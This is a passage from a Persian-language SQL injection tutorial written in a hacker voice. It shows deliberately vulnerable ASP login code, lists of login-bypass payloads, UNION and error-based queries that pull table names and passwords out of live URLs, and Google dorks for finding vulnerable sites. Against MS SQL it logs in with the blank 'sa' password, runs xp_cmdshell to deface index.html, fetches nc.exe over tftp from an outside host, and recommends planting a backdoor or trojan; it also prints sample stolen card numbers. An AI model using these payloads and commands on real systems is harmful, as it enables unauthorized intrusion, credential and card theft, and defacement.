تزریق – 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 منجر به گزارش زیر خواهد شد:

```
SELECT CCNum,CCType,CCExp,CCName FROM CreditCards
WHERE (AccNum=11223344) UNION SELECT NULL,NULL,NULL,NULL
WHERE 1=2 --AND CardState='Active') AND UserName='johndoe'
```

این نوع از تزریق های NULL، دو هدف را دنبال می کند. هدف اصلی به دست آوردن یک عبارت UNION کارآمد می باشد که پیام خطایی نداشته باشد. گرچه این UNION هنوز هیچ گونه از داده های واقعی را برداشت نمی کند، آن علامتی را فراهم می سازد که جمله براستی و درستی کار می کند. هدف دیگر این UNION خالی، به دست آوردن یک تشخیص و شناسایی ۱۰۰ صددرصدی از بانک اطلاعاتی مورد استفاده می باشد (با استفاده از نام جدول فروشنده–مشخص شده (Vendor-Specific Table Name) در عبارت FROM).

هنگامی که جملات UNION مبتنی بر NULL کار می کنند، تشخیص نوع هر یک از ستون ها کاری بیهوده و عبث می باشد. در هر مرور مجدد (تکرار – iteration)، یک فیلد تنها برای نوع آن فیلد مورد آزمایش قرار می گیرد. برای هر فیلد هر سه نوع، عددی، صحیح و رشته ای مورد آزمایش قرار می گیرند و یکی از آنها مصداق پیدا خواهد کرد و کار می کند. این روش، سه به توان تعداد ستون ها خواهد بود و نه سه ضربدر تعداد ستون ها. با فرض اینکه CCNum یک عدد صحیح باشد و همه فیلدها از نوع رشته ای باشند، جریان UNION های زیر، به عنوان انواع معتبر شناخته می شوند:

• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –-
Error! – Second column is not an integer.
• 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
• 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
Error! – Third column is not an integer.
• 11223344) UNION SELECT 1,'2','3',NULL WHERE 1=2 –-
No Error – Third column is a string.
• 11223344) UNION SELECT 1,'2','3',4 WHERE 1=2 –-
Error! – Fourth column is not an integer.
• 11223344) UNION SELECT 1,'2','3','4' WHERE 1=2 –-

No Error – Fourth column is a string.

نفوذگر اکنون، یک جمله UNION حقیقی و واقعی را برقرار کرده است. با استفاده از اعـداد افزایشـی ایـن امکـان هسـت کـه بتوانیم تشخیص دهیم که کدام یک از فیلدها در آنجام موجود است. همه آنهایی که هم اکنون رها شده اند در حقیقت می تواننـد ایـن را برای هدف حمله مورد استفاده قرار بدهند. به این منظور، تزریـــق را می تـوان اسـتفاده کـرد و اطلاعـات را جـداول سیسـتمی (همچـون لیست جداول و ستون های آنها) را برداشت کرد.

بخش ۳: توضیحاتی ابتدایی برای SQL Injection

این بخش از مقاله به دو قسمت اصلی تقسیم شده است:

۱. استفاده از پورت ۸۰ (HTTP)

۲. استفاده از پورت ۱۴۳۴ (MS SQL)

قسمت اول: استفاده از پورت ۸۰ – HTTP:

این قسمت نه تنها برای نفوذگران مفید می باشد بلکه می تواند مورد توجه طراحان web نیز قرار گیرد. یک اشتباه بزرگ که توسط طراحان وب یا Web Designer صورت می گیرد آن است که می توانند بانک های اطلاعاتی را از سرور برای نفوذگر آشکار کنند و به صورت واضح تر تعیین هویت کنند. کل بازی این متد کارکردن با رشته های گزارشی و سوال و جواب می باشد که به آنها Query String می گوییم. بنابراین در این مقاله فرض شده که خواننده این مقاله اطلاعاتی درباره query و ASP دارد. این متد تنها به وسیله browser انجام می شود یعنی نقش ارسال دستورات و دریافت نتایج بر عهده مرورگر می باشد. پس شما به هیچ ابزار اضافی نیاز ندارید و تنها ابزار مورد نیاز در این متد IE یا Netscape می باشد. برای ایجاد یک صفحه ی Login که به آن Login Page میگوئیم، معمولا طراحان وب کدهای زیر را در نظر می گیرند (این کدها مستقیما از سایت iranbin.com کپی شده اند – مورخ ۱۳۸۳/۶/۲۷):

login.htm:

```
<html>
<body>
<form method=get action="logincheck.asp">
<input type="text" name="login_name">
<input type="text" name="pass">
<input type="submit" value="sign in">
</form>
</body>
</html>
```

logincheck.asp:

```
<@language="vbscript">
<%
dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")

set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
```

```
If rs.EOF
        response.write("Login failed")
else
        response.write("Login successful")
End if
%>
```

با نظر به کدهای فوق در نگاه اول به این نتیجه می رسیم که همه چیز کاملا درست و بی نقص است. روال کار این اسکریپت یا به اصطلاح Debugging/Resulting این دو صفحه را به این صورت تفسیر می کنم:

یک کاربر نام کاربری و رمزعبور خود را در login.htm وارد کرده و روی دکمه Submit کلیک می کند. ارزش ها و مقادیر وارد شده در جعبه متن ها (text box) به صفحه logincheck.asp عبور داده خواهد شد (که به اصطلاح می گوئیم مقادیر وارد شده به logincheck.asp، **pass** می شود) که در آنجا به وسیله query string ها چک خواهد شد. اگر مقدار وارد شده به وسیله logincheck.asp مورد تایید واقع نشد و به آخرین خطهای script در صفحه رسیدید، پیامی مبنی بر Login Failed دریافت خواهید کرد. همه چیز در این دو اسکریپت کاملا خوب و بدون نقص به نظر می آیند. *ولی یه لحظه صبر کن. یه بار دیگه فکر کن! آیا واقعا همه چیز بدون نقصه؟! درباره query چطور؟ آیا واقعا بدون نقص کار می کنه؟*

اگر شما صفحه ای مانند این مثال درست کرده اید، باید گفت که یک نفوذگر به راحتی می تواند عملیات login را بدون داشتن password و رمزعبور انجام دهد. چطور این کار ممکن هست؟ بیایید یک بار دیگه به query نگاه کنیم:

"Select * from table1 where login='"&log& "' and password='" &pwd& "' "

اکنون اگر یک کاربر نام کاربری خود را "dangerous-wolf" و رمزعبور خود را "test123" وارد کند، مقدارهای در نظر گرفته شده با استفاده از متد POST به صفحه ASP، pass می شوند و اکنون خط گزارش فوق به این صورت تغییر خواهد یافت:

"Select * from table1 where login=' dangerous-wolf ' and password=' test123 ' "

در اینجا مقدارهای dangerous-wolf و test123 در رشته های login name و password در بانک اطلاعاتی وارد شده اند بنابراین ما یک پیام مبنی با عنوان Login Successful دریافت خواهیم کرد. اکنون، چه اتفاقی خواهد افتاد اگر من نام کاربری را dangerous-wolf وارد کنم و رمزعبور خود را hi' or 'a'='a در نظر بگیرم؟

User Name: dangerous-wolf
Password: hi' or 'a'='a

درنتیجه گزارش به صورت زیر تغییر خواهد کرد:

"Select * from table1 where login=' dangerous-wolf ' and password=' hi' or 'a'='a ' "

اکنون کلید Submit را فشار می دهیم و Finish the Game !!! آیا زیرکی نفوذگر را دیدید؟ در واقع این موفقیت از بی دقتی طراحان وب نشأت می گیرد. گزارش و query از این پس شکل دیگری به خود می گیرد و رمزعبور باید 'hi' or 'a' باشد و سپس باید برابر با 'a' در نظر گرفته شود. به طور واضح رمزعبور 'hi' نخواهد بود اما در همان زمان 'a'='a' خواهد بود. پس شرط این login اساسا

تغییر یافت و یک نفوذگر با dangerous-wolf داخل سیستم می شود!! اگر کد فوق در بعضی از وب سایت ها کار نکرد، می توانید عبارت های لیست شده در زیر را برای رمزعبور چک کنید:

hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

در فوق علامات -- یک مقری (کلمه ای بهتر از مقر برای این توضیح نتونستم پیدا کنم) ایجاد خواهد کرد که query string ها به عنوان comment شناخته شوند و دیگردستورات چک نخواهند شد. به سادگی شما می توانید از دو عبارت زیر یا کلا چنین گونه های ممکنی در Login Name: و Password: استفاده کنید که به شما اجازه login را بدهد:

dangerous-wolf ' --
dangerous-wolf " --

چرا که در query string ها تنها login name به عنوان dangerous-wolf شناخته خواهد شد. اگر شما به اندازه کافی خوش شانس باشید، سایتی را پیدا خواهید کرد که طراح آن چنین اشتباهی را در طراحی آن کرده و در این هنگام شما قادر خواهید بود که با هر نام کاربری به سایت login کنید. که مسلما یکی از مهم ترین یوزرهای یک سایت، یوزر مدیر یا admin می باشد.

User Name: admin
Password: hi' or 'a'='a

متاسفانه بسیاری از مدیران و طراحان سایت از کدهای پیش فرض و آماده برای طراحی سایت استفاده می کنند. سایت های بسیاری در اینترنت خواهید یافت که این کدها را به صورت رایگان در اختیار شما قرار می دهند (در حالی که این کدها مشکل دار میباشند). مانند Dynamic Drive و ... . پس مقداری مواظب باشید و این نقص را برطرف سازید.

هک پیشرفته بانک های اطلاعاتی با استفاده از پیام های خطای تولید شده از ODBC

در بالا ما دیدیم که چطور بدون دانستن رمزعبور عملیات login را انجام دهیم. اکنون با هم می بینیم که چطور می توان کل بانک اطلاعاتی را تنها با استفاده از گزارش ها در URL خواند!! اما نکته اینجاست که این روش تنها بر روی IIS یا Internet Information Service کار می کند که صفحات ASP مثالی از آن است. شاید بدانید که حدود 35% فروشگاه های آنلاین از IIS استفاده می کنند. بنابراین شما قطعا پس از یک سرچ کوچک در وب سایت ها یک قربانی خواهید داشت. شاید تا حالا چیزی مثل زیر در میان URL ها دیده باشید (نام سایت واقعی بتابه دلایلی با site-name تعویض شده است):

http://www.site-name.com/mypage.asp?id=45

علامت ? در URL به معنی *بعد از آن* به کار می رود. مقدار ۴۵ به یک ID در datatype که به صورت مخفی است pass میشود. باید گفت که ما در مثال بالا در login.htm دیدیم که، با دو نوع نوشته با نام های login_name و pass سروکار داشت و آن

مقدارها به صفحه logincheck.asp، pass میشد. اگر به جای "method="post عبارت "method="get به کار رود، همان کار می تواند به صورت مستقیم به وسیله بازکردن صفحه logincheck.asp انجام شود. برای مثال:

http://www.site-name.com/logincheck.asp?login_name=dangerous_wolf&pass=test123

توجه: تفاوت بین متد get و post این است که post مقادیر عبور داده شده یا passed value به صفحه بعدی را در URL تا زمانی که متد get این مقدارها را نشان دهد، نمایش نمی دهد. برای درک بیشتر درباره اینکه چطور آنها از درون کار می کنند پروتکل http را از RFC 1945و RFC 2616 بخوانید (که در آینده بحث بسیار بسیار مفصلی در این باره خواهیم داشت).

چیزی که من می خواهم بگویم این است که بعد از ?، مقادیری که برای استفاده در صفحه بعد به کار می روند، به ارزش های ما اختصاص می یابند. در بالا login_name به عبارت dangerous-wolf تخصیص یافته و مقادیر جدا از هم به وسیله & از هم جدا میشوند.

به عقب بر میگردیم: ID بیشتر مخفی می باشد و بر اساس لینکی که شما بر روی آن کلیک می کنید، تغییر می کند. مقدار ID در آن هنگام به query، در صفحه mypage.asp، گذر داده می شود (pass می شود) و بر اساس نتایج شما صفحه مورد نظر را در screen دریافت می کنید. اکنون، اگر تنها مقدار ID را به 46 تغییر دهیم، آن وقت صفحه ای متفاوت را دریافت خواهید کرد. اکنون با هم میخواهیم به هک DB بپردازیم. بیائید از گزارش ها استفاده کنیم. تنها عبارت زیر را در address bar وارد می کنیم:

http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

INFORMATION_SCHEMA.TABLES یک جدول و table سیستمی می باشد و حاوی تمامی اطلاعات موجود در جداول روی سرور می باشد. در لینک فوق عبارت TABLE_NAME نیز یافت می شود که حاوی تمامی نام های موجود در تمامی جدول ها می باشد. اکنون گزارش و query را یک بار دیگر ببینید:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

نتیجه این گزارش، نام اولین جدول از INFORMATION_SCHEMA دریافت خواهد شد. اما نتیجه ای که ما می گیریم این است که یک نام جدول که string(nvarchar) می باشد دریافت می کنیم و ما آنرا با 45(integer) به وسیله UNION، uniting می کنیم. پس ما یک پیام خطا مانند زیر دریافت می کنیم (که به این از این پس خروجی دستور می گوئیم و من در این مقاله آنرا با نشان output ممیز کرده ام):

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line

از پیام ظاهر شده در فوق کاملا و به وضوح روشن است که اولین جدول و table، دارای نام logintable می باشد. با کمی دقت در نام جدول به نظر می آید که این جدول شامل login name ها و password ها باشد. پس با هم به داخل آن می رویم. عبارت زیر را در Address Bar تایپ می کنیم:

http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

پیام خطای بالا نشان می دهد که اولین field یا ستون (column) در جدول logintable، login_id می باشد. برای به دست آوردن نام ستون بعدی در جدول عبارت زیر را وارد می کنیم:

http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

با توجه به خروجی ظاهر شده می بینیم که نام ستون بعدی login_name می باشد. برای به دست آوردن نام ستون بعدی عبارت زیر را وارد می کنیم:

http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'passwd' to a column of data type int.
/index.asp, line 5

بله! ما بالاخره فیلد passwd را به دست آوردیم. اکنون بیایید با هم login name ها و password ها را از این جدول یعنی logintable به دست بیاوریم. عبارت زیر را وارد می کنیم:

http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Rahul' to a column of data type int.
/index.asp, line 5

همان طور که می بینیم login name در اینجا کلمه Rahul است. برای به دست آوردن پسورد این یوزر از عبارت زیر استفاده می کنیم:

http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'P455w0rd' to a column of data type int.
/index.asp, line 5

عالی شد! پسورد را هم به دست آوردیم. اکنون کارهای انجام شده به صورت دو خط زیر خلاصه میشود:

Login Name: Rahul
Password: P455w0rd

شما توانستید بانک اطلاعاتی یا DB سایت را کرک کنید. آسیب پذیری های SQL هنوز در بسیاری از وبسایت ها یافت میشوند.

قسمت دوم: استفاده از پورت ۱۴۳۴ (پورت SQL)

در قسمت قبل فهمیدیم که چطور می توان یک بانک اطلاعاتی را با استفاده از URL های ناقص در هم شکست و به آن نفوذ کرد. اما آن روش فقط با استفاده از پورت ۸۰ (http) انجام شده بود. در حالی که ما در این قسمت از مقاله می خواهیم با استفاده از پورت ۱۴۳۴ برای نفوذ و هک استفاده کنیم. قبل از آن ما خواهیم دید که واقعا سرورهای بانک اطلاعاتی یا DB Servers چه هستند و چطور کار می کنند و آن وقت چطور آنها را اکسپلویت کنیم !!

طراح MS SQL برخی روش های پیش فرض ذخیره شده را همراه با محصول ارائه داد تا بعضی چیزها را برای طراحان وب راحت تر و به اصطلاح flexible کند. طرز عمل (رویه کار) چیز خاصی نیست اما توابعی که می توانند برای انجام دادن بعضی کارها بر روی آرگومان های pass شده به آنها استفاده شوند مقداری مهم هستند. پس این رویه ها برای نفوذگر ها خیلی مهم هستند. بعضی از مهم ترین آنها را در زیر می بینید:

sp_password:

تغییر پسورد برای یک کاربر یا login name تعیین شده (معین)

مثال:

EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’

sp_tables:

نمایش تمامی جدول ها در بانک اطلاعاتی حاضر

مثال:

```
EXEC sp_tables
```

xp_cmdshell:

اجرای دستورات بر روی ماشین با سطح دسترسی مدیر (مهم)

xp_msver:

نمایش نسخه سرور MS SQL که شامل همه اطلاعات درباره OS نیز می شود.

مثال:

```
master..xp_msver
```

xp_regdeletekey:

حذف یک Registry Key

xp_regdeletevalue:

حذف یک Registry Value (مقدار و ارزش آن)

xp_regread:

خواندن یا read کردن یک registry value

xp_regwrite:

نوشتن یا write کردن یک registry key

xp_terminate_process:

توقف و STOP کردن یک پروسه (پردازش)

اینها بعضی از مهم ترین رویه ها و دستورالعمل ها بودند در حالی که در حقیقت بیشتر از ۵۰ نوع از رویه ها وجود دارند. اگر می خواهید سرور MS SQL شما قوی و برای نفوذ مشکل باشد من توصیه می کنم که *تمامی این رویه ها را پاک کنید*. حقه در اینجا باز کردن بانک اطلاعاتی اصلی (Master) با استفاده از MSSQLSEM هست که به آن MS SQL Server Enterprise Manager میگویند. اکنون شاخه Extended Stores Procedures را باز یا expand کنید و رویه های موجود را با رایت-کلیک کردن و انتخاب گزینه Delete پاک کنید.

توجه: Master یک بانک اطلاعاتی مهم در SQL Server می باشد که شامل تمامی اطلاعات سیستمی نظیر login name و رویه های سیستمی ذخیره شده (SSP) می باشد. بنابراین اگر یک نفوذگر این بانک اطلاعاتی اصلی (Master DB) را پاک کند، در آن هنگام

SQL Server برای همیشه Down خواهد شد !! syslogins جدول پیش فرض سیستمی است که شامل user name و password های login ها در بانک اطلاعاتی می باشد.

خطر: سرور Microsoft SQL (MS SQL Server) یک یوزرنیم پیش فرض با نام sa دارد که پسورد آن نیز blank می باشد و این نکته کوچک بسیاری از سرورهای MS SQL را در گذشته ویران کرده است !!! حتی یک ویروس نیز درباره این آسیب پذیری نیز منتشر شده است !!

کافی است!! اکنون شروع به نفوذ می کنیم. ابتدای کار ما باید یک سرور آسیب پذیر را پیدا کنیم. یک پورت اسکنر خوب دانلود کنید (در WWW به وفور یافت می شوند) که من NMAP رو پیشنهاد می کنم (البته یک تغییراتی باید بدید) و IP Address ها را برای باز بودن پورت TCP ۱۴۳۳ و UDP 1434 چک کنید. این پورت MS SQL می باشد که سرویس SQL را اجرا می کند. شماره پورت Oracle معمولا 1521 می باشد. بیایید فرض کنیم که ما یک سرور آسیب پذیر با آدرس IP مثلا 198.188.178.1 پیدا کردیم (این یک مثال هست، پس روی این IP امتحان نکنید ☺).

راه های بسیار زیادی برای استفاده از سرویس SQL وجود دارد؛ مثلا telnet کردن یا استفاده از netcat برای وصل شدن به این IP با پورت 1433/1434. شما همچنین می توانید از یک ابزار مثل osql.exe استفاده کنید که با هر سرور SQL کار خواهد کرد. اکنون به Command Prompt می رویم و عبارت زیر را تایپ می کنیم:

```
C:/>osql.exe -?
osql: unknown option ?
usage: osql          [-U login id]        [-P password]
  [-S server]        [-H hostname]        [-E trusted connection]
  [-d use database name] [-l login timeout]    [-t query timeout]
  [-h headers]       [-s colseparator]     [-w columnwidth]
  [-a packetsize]    [-e echo input]       [-I Enable Quoted Identifiers]
  [-L list servers]  [-c cmdend]
  [-q "cmdline query"]  [-Q "cmdline query" and exit]
  [-n remove numbering]  [-m errorlevel]
  [-r msgs to stderr]    [-V severitylevel]
  [-i inputfile]       [-o outputfile]
  [-p print statistics]  [-b On error batch abort]
  [-O use Old ISQL behavior disables the following]
     <EOF> batch processing
     Auto console width scaling
     Wide messages
     default errorlevel is -1 vs 1
  [-? show syntax summary]
```

خوب! همان طور که دیدید انجام دستور فوق باعث نمایش راهنمای این ابزار می شود. اکنون با توجه به راهنمای چاپ شده واضح هست که اکنون چه کار باید انجام دهیم. عبارت زیر را تایپ می کنیم:

```
C:\> osql.exe –S 198.188.178.1 –U sa –P “”
```

در صورتی که عملیات login ما به خوبی و با موفقیت انجام شود ما اعلان داس خود را چیزی مانند زیر خواهیم دید در غیر این صورت پیامی با عنوان Login Failed یا چیزی شبیه به آن دریافت خواهیم کرد. اعلان داس چنین است:

1>

اکنون اگر ما بخواهیم هر دستوری را روی ماشین به صورت remote اجرا کنیم کافی است از رویه پیش فرض xp_cmdshell که ذخیره شده است، استفاده کنیم.

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’”

من ترجیح می دهم که به جای استفاده از q– از Q– استفاده کنم چرا که بعد از اجرای گزارش خارج می شود. به همین روش ما می توانیم هر دستوری را روی کامپیوتر به صورت remote اجرا کنیم. ما حتی می توانیم هر فایلی را به کامپیوتر آپلود کنیم یا فایلی را از آن دانلود کنیم. یک نفوذگر و نفوذگر با هوش معمولا یک backdoor روی کامپیوتر قربانی نصب می کند چرا که دسترسی خود را به این کامپیوتر برای بعد نیز تضمین می کند (یک تروجان را تنظیم کرده و سپس آنرا Undetect می کنیم و then we have life) !! اکنون همان طور که توضیح دادم می توانیم از information_schema.tables برای گرفتن لیست جدول ها و محتوای آنها استفاده کنیم.

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables”

مطمئنا یکی از مواردی که در مورد جدول ها به دست خواهیم آورد نام آنها می باشد. در این بین باید به دنبال نام هایی مانند login، account، users یا هر چیزی که به نظر می آید چیز مهمی از قبیل اطلاعات و شماره های CC در آن باشد، بگردیم:

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”

و خط زیر:

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users”

Output:

Username	creditcard	expdate
Melody	5935023473209871	2004-10-03 00:00:00.000
Redlof	5839203921948323	2004-07-02 00:00:00.000
James	5732009850338493	2004-08-07 00:00:00.000
Rozea	5738203981300410	2004-03-02 00:00:00.000

خوب ما کارت های اعتباری را به دست آوردیم. اما شاید بعضی ها به دنبال تغییر دادن index.html یا Defacing باشند (به نظر من روی سایت های در حد پائین این کار را انجام ندید – اما به هر حال اگه به دنبال مشهور شدن و ... هستید Be relax & do this). با هم تلاش برای تغییر دادن در فایل index.html نیز می پردازیم:

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by dangerous-wolf> C:\inetpub\wwwroot\index.html’”

همچنین در صورتی که خواستید فایلی به سیستم مورد نظر آپلود کنید از دستور زیر استفاده می کنیم:

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”

همچنین برای دانلود فایل باید از دستور PUT به جای GET استفاده کرد. تنها به این خاطر که (البته همتون می دونید) این دستورات در روی سیستم قربانی اجرا می شوند نه سیستم ما !! پس اگر شما دستور GET را بدهید، این دستور در سیستم قربانی اجرا

شده و تلاش می کند که فایل nc.exe را از سیستم ما بگیرد !!! مورد مهم دیگر آنکه ابزارها برای هک کردن پسورد login در سرورهای SQL به وفور در اینترنت یافت می شوند. حتی بسیاری از Buffer Overflow ها نیز کشف شده اند که می توانند به یک کاربر اجازه دستیابی به کنترل سیستم با سطح دسترسی مدیر (admin) بدهند. با کالبد شکافی کرم Sapphire با یکی از دوستان به این نتیجه رسیدم که این کرم نیز از آسیب پذیری ها در سرورهای SQL با استفاده از پورت 1433/1434 استفاده می کند. با کمی جستجو قطعا می توانید سایت های مشکل دار و آسیب پذیر در این زمینه پیدا کنید:

Google Keyword(s):

inurl:login.asp
index of:/admin/login.asp

بخش ۴: توضیحاتی پیشرفته تر پیرامون عملیات SQL Injection (کار با پیام خطا)

Structured Query Language یا SQL زبانـــــی متنی یا textual می باشد کـه بـرای ارتبـاط متقابـل بـا Database هـا (DB) استفاده می شود. واریته (Variety) های بسـیاری از SQL وجـود دارد؛ در زمـان حـال، بسـیاری از اسـتانداردها و نسـخه هـا کـه کاربرد و استفاده بیشتر دارند، به صورت بی ربط بر اساس SQL-92 می باشند و نیز بسیاری استانداردهای ANSI اخیر.

واحد مختص و نمونه یا Typical در اجرای SQL، گزارش و Query می باشد، که کلکسیونی از statement های می باشد کـه به طور نمونه یک 'result set' تنها را بازگشت می دهد.

Statement ها یا مابارات های SQL، می توانند ساختار و ساختمان بانک های اطلاعاتی را تغییر (modify) دهند (با استفاده از دستورها و عملگرهای Data Definition Language یا DDL این کار انجام مـی شـود) و همچنـین مـی تواننـد محتویـات بانـک هـای اطلاعاتی (DB ها) را نیز دستکاری کنند (با استفاده از دستورها یـا عملگرهـای Data Manipulation Language یـا DML ایـن کـار انجام می شود). در این قسمت، ما به طور صریح و مخصوص درباره Transact-SQL بحث خواهیم کـرد، نسـخه و اسـتانداردی از SQL که به وسیله Microsoft SQL Server استفاده شده است.

تزریق SQL یا به اصطلاح انجام عملیات SQL Injection، هنگامی اتفاق خواهد افتاد که یک نفوذگر قادر به الحـاق کـردن یـا insert کردن سری هایی از Statement های SQL *در یک گزارش* به وسیله دستکاری کردن اطلاعات ورودی در یـک Application است. یک Statement معمول و typical در SQL چیزی شبیه به خط زیر می باشد:

select id, forename, surname from authors

این Statement، ستون (column) های 'id', 'forename', 'surname' را از جدول 'author' بازیافت و بـه اصـطلاح retrieve خواهد کرد که در نتیجه تمامی ردیف ها (row) در جدول نیز بازگشت داده خواهد شد. 'result set' می تواند محدود بـه یـک 'author' بخصوص شود. مانند زیر:

select id, forename, surname from authors where forename = 'john' and surname = 'smith'

نکته ای مهم در اینجا وجود دارد که حتما باید آنرا به خـاطر سـپرد و آن ایـن اسـت کـه حـرف هـای لفظـی رشـته هـا (string literals) برای کلمات john و smith تنها محدود به یک علامت نقل قول یعنی ' مـی باشـد؛ پـس بـه صـورت 'john' و 'smith' خواهنـد بود!!!

فیلدهای'surename' و 'forename' از یک ورودی user-supplied جمع آوری می شوند. یک نفـوذگر شـاید قـادر باشـد کـه یک SQL را به این گزارش تزریق (inject) کند. که این کار به وسیله وارد کردن مقادیری (value) به application انجام می شود کـه در زیر این مورد را مشاهده می کنید:

Forename: jo'hn
Surname: smith

بنابراین رشته گزارش یا Query String چیزی مانند زیر خواهد شد:

select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'

هنگامی که بانک اطلاعاتی کوشش می کند که این گزارش را اجرا کند، یک خطا و error در بازگشت خواهد داشت که در زیر می بینید:

Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.

دلیل، این است که الحاق کردن یا insertion کردن کاراکترها با یک علامت نقل قول یا single quote (')، اطلاعات محدود شده به Single-Quote را می شکند یا به اصطلاح Break Out می کند.

در این هنگام DB، سعی خواهد کرد که 'hn' را اجرا کند و ناکام می ماند. اگر نفوذگر ورودی را مانند مثال زیر در نظر گرفته بود، بنابردلایلی که در ادامه این مقاله به آن ذکر خواهم کرد، table و جدول author پاک می شد:

Forename: jo'; drop table authors--
Surname:

به نظر می آید که بعضی روش ها چه در پاک کردن علامت نقل قول تک (' = single quotes) از ورودی و چه در قرار ندادن آنها در بعضی روشها، با این مشکل سر و کار داشته باشد. این درست است، اما به منظور حل کردن و رفع نقص از این متد، ، چندین مشکل با این متد وجود دارد.

نخست، همه اطلاعات تولید شده توسط کابر، در فرم رشته ها و string ها نیستند. برای مثال، اگر اطلاعات ورودی ما، بتواند یک author را به وسیله 'id' انتخاب کند (احتمالا یک شماره)، گزارش ما چیزی شبیه به زیر خواهد بود:

select id, forename, surname from authors where id=1234

در این وضعیت یک نفوذگر می تواند به سادگی statement های SQL را در انتهای ورودی های عددی اضافه کند. در استانداردهای دیگر SQL، علامات و delimiter های گوناگونی استفاده می شود. برای مثال در موتور Microsoft Jet DBMS، تاریخ ها می توانند به وسیله علامت '#' محدود و معین شوند. دوم اینکه، بنابر دلایلی که بعد در این مقاله ذکر خواهد شد، قرار ندادن علامت ' همان طور که در ابتدا شاید به نظر آید، لزوما شفا و علاج ساده نخواهد بود.

این موارد را در بعد با جزئیات بیشـــــــــــــتر با استفاده از یک با مثال درصفحه login که در Active Server Pages (که به Active Server Pages به صورت اختصار ASP می گوئیم) می باشد، روشن خواهم ساخت که در آن به یک بانک اطلاعاتی در SQL Server دست یافته و کوشش می کنیم که اعتبار دستیابی را به بعضی نرم افزارهای ساختگی بدهیم. این کد برای صفحه 'form' می باشد، که در آن کاربر User Name و Password خود را وارد می کند:

```
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
```

```
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
```

این کد برای process_login.asp **می باشد که ُیک لاگین واقعی را بررسی می کند و با آن سر و کار خواهد داشت:**

```
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
